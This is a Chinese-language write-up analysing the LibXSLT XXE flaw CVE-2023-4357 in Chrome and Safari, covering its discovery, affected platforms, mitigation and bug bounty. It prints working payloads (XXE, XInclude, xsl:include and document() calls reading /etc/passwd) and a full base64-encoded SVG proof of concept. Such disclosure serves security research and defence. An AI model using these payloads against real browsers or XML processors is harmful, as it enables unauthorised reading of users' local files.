使用 ChatGPT获取Web浏览器的XXE(CVE-2023-4357),收获赏金$28000
字数 1755 2025-08-19 12:40:45

LibXSLT XXE漏洞(CVE-2023-4357)分析与利用教程

漏洞概述

本教程详细分析了一个在LibXSLT库中发现的XXE(XML External Entity)漏洞(CVE-2023-4357),该漏洞允许攻击者通过精心构造的XSL文件读取系统文件。漏洞影响多个主流浏览器和应用程序,包括Chrome、Safari以及基于这些浏览器的应用程序。

漏洞背景

LibXSLT是一个广泛使用的XSLT处理库,自1999年首次发布以来,被集成到众多应用程序中,包括:

  • Chrome和Safari浏览器
  • PHP
  • PostgreSQL
  • Oracle数据库
  • Python等

漏洞发现过程

初始思路

研究者最初思考的问题是:禁用JavaScript的恶意页面还能做什么?考虑到:

  1. SVG基于XML
  2. XML本身可能允许文件访问
  3. 需要验证XML/SVG语法是否都正确实现了同源策略(SOP)
  4. 通过file://协议的访问是否得到正确处理

技术选择:XSL测试

选择测试XSL(可扩展样式表语言)技术,因为:

  • 它是基于XML的语言
  • 可用于修改或检索数据
  • Chrome中使用LibXSLT库处理XSL

验证LibXSLT存在的方法:

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet href="system-properties.xsl" type="text/xsl"?>
<root />
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <p>Version: <xsl:value-of select="system-property('xsl:version')" /><br />
    Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
    Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /></p>
  </xsl:template>
</xsl:stylesheet>

输出将显示LibXSLT的版本信息,确认其存在。

关键漏洞利用技术

1. 获取文档位置

使用unparsed-entity-uri()函数可以获取当前文档位置:

<?xml-stylesheet href="get-location.xsl" type="text/xsl"?>
<!DOCTYPE test [
  <!ENTITY ent SYSTEM "?">
]>
<test>
  <getLocation test="ent" />
</test>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:output method="html" />
  <xsl:template match="getLocation">
    <input type="text" value="{unparsed-entity-uri(@test)}" />
  </xsl:template>
</xsl:stylesheet>

2. 远程内容加载技术

研究者测试了多种XML/XSL加载远程内容的方法:

XML外部实体(XXE)

<?xml version="1.0"?>
<!DOCTYPE test [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<test>
  &xxe;
</test>

XInclude

<?xml version="1.0"?>
<test xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include href="file:///etc/passwd" />
</test>

XSL的include/import标签

<?xml version="1.0" ?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:include href="file:///etc/passwd" />
  <xsl:import href="file:///etc/passwd" />
</xsl:stylesheet>

XSL的document()函数

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:copy-of select="document('file:///etc/passwd')" />
  </xsl:template>
</xsl:stylesheet>

漏洞利用链

成功的利用链结合了:

  1. document()函数
  2. 参数文件中的XML外部实体
  3. 数据协议(data:)

最终构造的XSL文件通过数据协议插入到XML文件中,实现了文件读取。

影响范围测试

测试了多种平台和浏览器组合:

测试场景 可访问的文件
Android + Chrome /etc/hosts
iOS + Safari /etc/group, /etc/hosts, /etc/passwd
Windows + Chrome -
Ubuntu + Chrome -
PlayStation 4 + Chrome -
Samsung TV + Chrome /etc/group, /etc/hosts, /etc/passwd

差异原因可能是沙箱实现的不同。在Windows/Linux上使用--no-sandbox运行Chrome可以读取任意文件。

其他应用程序测试

应用 结果
PHP 允许控制XSLTProcessor::importStylesheet数据的应用受影响
XMLSEC document()函数不允许http(s)://和data: URL
Oracle document()函数不允许http(s)://和data: URL
PostgreSQL document()函数不允许http(s)://和data: URL

PHP默认配置禁用外部实体XML/XSL文档解析,但这不影响document()函数加载的XML文档。

漏洞防护

PHP中调用以下函数可防止攻击:

libxml_set_external_entity_loader(function ($a) {});

PoC示例

SVG PoC

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="data:text/xml;base64,PHhzbDpzdHlsZXNoZWV0IHZlcnNpb249IjEuMCIgeG1sbnM6eHNsPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L1hTTC9UcmFuc2Zvcm0iIHhtbG5zOnVzZXI9Imh0dHA6Ly9teWNvbXBhbnkuY29tL215bmFtZXNwYWNlIj4KPHhzbDpvdXRwdXQgbWV0aG9kPSJ4bWwiLz4KPHhzbDp0ZW1wbGF0ZSBtYXRjaD0iLyI+CjxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KPGZvcmVpZ25PYmplY3Qgd2lkdGg9IjMwMCIgaGVpZ2h0PSI2MDAiPgo8ZGl2IHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4KTGlicmFyeTogPHhzbDp2YWx1ZS1vZiBzZWxlY3Q9InN5c3RlbS1wcm9wZXJ0eSgneHNsOnZlbmRvcicpIiAvPjx4c2w6dmFsdWUtb2Ygc2VsZWN0PSJzeXN0ZW0tcHJvcGVydHkoJ3hzbDp2ZXJzaW9uJykiIC8+PGJyIC8+IApMb2NhdGlvbjogPHhzbDp2YWx1ZS1vZiBzZWxlY3Q9InVucGFyc2VkLWVudGl0eS11cmkoLyovQGxvY2F0aW9uKSIgLz4gIDxici8+ClhTTCBkb2N1bWVudCgpIFhYRTogCjx4c2w6Y29weS1vZiAgc2VsZWN0PSJkb2N1bWVudCgnZGF0YTosJTNDJTNGeG1sJTIwdmVyc2lvbiUzRCUyMjEuMCUyMiUyMGVuY29kaW5nJTNEJTIyVVRGLTglMjIlM0YlM0UlMEElM0MlMjFET0NUWVBFJTIweHhlJTIwJTVCJTIwJTNDJTIxRU5USVRZJTIweHhlJTIwU1lTVEVNJTIwJTIyZmlsZTovLy9ldGMvcGFzc3dkJTIyJTNFJTIwJTVEJTNFJTBBJTNDeHhlJTNFJTBBJTI2eHhlJTNCJTBBJTNDJTJGeHhlJTNFJykiLz4KPC9kaXY+CjwvZm9yZWlnbk9iamVjdD4KPC9zdmc+CjwveHNsOnRlbXBsYXRlPgo8L3hzbDpzdHlsZXNoZWV0Pg=="?>
<!DOCTYPE svg [
  <!ENTITY ent SYSTEM "?" >
]>
<svg location="ent" />

HTML测试页面

<html>
<head>
  <title>LibXSLT document() XXE tests</title>
</head>
<body>
  SVG <br />
  <iframe src="data:image/svg+xml;base64,[BASE64_ENCODED_SVG]"></iframe>
  <br />
  SVG WIN <br />
  <iframe src="data:image/svg+xml;base64,[BASE64_ENCODED_SVG_WIN]"></iframe>
  <br />
  XML <br />
  <iframe src="data:text/xml;base64,[BASE64_ENCODED_XML]"></iframe>
  <br />
  XML WIN <br />
  <iframe src="data:text/xml;base64,[BASE64_ENCODED_XML_WIN]"></iframe>
  <br />
</body>
</html>

漏洞修复与赏金

  • 苹果Safari实施了沙盒补丁(CVE-2023-40415),奖励25,000美元
  • 其他厂商也相应修复了此漏洞

总结

这个漏洞展示了:

  1. 即使禁用JavaScript,XML/XSL功能仍可能带来安全风险
  2. 广泛使用的库(LibXSLT)中的漏洞影响范围广泛
  3. 沙箱实现的不一致导致某些平台更易受攻击
  4. ChatGPT等AI工具可以辅助安全研究,但也可能被滥用

安全建议:

  1. 及时更新浏览器和应用程序
  2. 限制XML/XSL处理中的外部实体加载
  3. 加强沙箱实现,特别是在移动设备和智能设备上
  4. 对AI生成的代码保持警惕,需人工验证安全性
LibXSLT XXE漏洞(CVE-2023-4357)分析与利用教程 漏洞概述 本教程详细分析了一个在LibXSLT库中发现的XXE(XML External Entity)漏洞(CVE-2023-4357),该漏洞允许攻击者通过精心构造的XSL文件读取系统文件。漏洞影响多个主流浏览器和应用程序,包括Chrome、Safari以及基于这些浏览器的应用程序。 漏洞背景 LibXSLT是一个广泛使用的XSLT处理库,自1999年首次发布以来,被集成到众多应用程序中,包括: Chrome和Safari浏览器 PHP PostgreSQL Oracle数据库 Python等 漏洞发现过程 初始思路 研究者最初思考的问题是: 禁用JavaScript的恶意页面还能做什么? 考虑到: SVG基于XML XML本身可能允许文件访问 需要验证XML/SVG语法是否都正确实现了同源策略(SOP) 通过file://协议的访问是否得到正确处理 技术选择:XSL测试 选择测试XSL(可扩展样式表语言)技术,因为: 它是基于XML的语言 可用于修改或检索数据 Chrome中使用LibXSLT库处理XSL 验证LibXSLT存在的方法: 输出将显示LibXSLT的版本信息,确认其存在。 关键漏洞利用技术 1. 获取文档位置 使用 unparsed-entity-uri() 函数可以获取当前文档位置: 2. 远程内容加载技术 研究者测试了多种XML/XSL加载远程内容的方法: XML外部实体(XXE) XInclude XSL的include/import标签 XSL的document()函数 漏洞利用链 成功的利用链结合了: document() 函数 参数文件中的XML外部实体 数据协议(data:) 最终构造的XSL文件通过数据协议插入到XML文件中,实现了文件读取。 影响范围测试 测试了多种平台和浏览器组合: | 测试场景 | 可访问的文件 | |---------|-------------| | Android + Chrome | /etc/hosts | | iOS + Safari | /etc/group, /etc/hosts, /etc/passwd | | Windows + Chrome | - | | Ubuntu + Chrome | - | | PlayStation 4 + Chrome | - | | Samsung TV + Chrome | /etc/group, /etc/hosts, /etc/passwd | 差异原因可能是沙箱实现的不同。在Windows/Linux上使用 --no-sandbox 运行Chrome可以读取任意文件。 其他应用程序测试 | 应用 | 结果 | |-----|-----| | PHP | 允许控制XSLTProcessor::importStylesheet数据的应用受影响 | | XMLSEC | document()函数不允许http(s)://和data: URL | | Oracle | document()函数不允许http(s)://和data: URL | | PostgreSQL | document()函数不允许http(s)://和data: URL | PHP默认配置禁用外部实体XML/XSL文档解析,但这不影响document()函数加载的XML文档。 漏洞防护 PHP中调用以下函数可防止攻击: PoC示例 SVG PoC HTML测试页面 漏洞修复与赏金 苹果Safari实施了沙盒补丁(CVE-2023-40415),奖励25,000美元 其他厂商也相应修复了此漏洞 总结 这个漏洞展示了: 即使禁用JavaScript,XML/XSL功能仍可能带来安全风险 广泛使用的库(LibXSLT)中的漏洞影响范围广泛 沙箱实现的不一致导致某些平台更易受攻击 ChatGPT等AI工具可以辅助安全研究,但也可能被滥用 安全建议: 及时更新浏览器和应用程序 限制XML/XSL处理中的外部实体加载 加强沙箱实现,特别是在移动设备和智能设备上 对AI生成的代码保持警惕,需人工验证安全性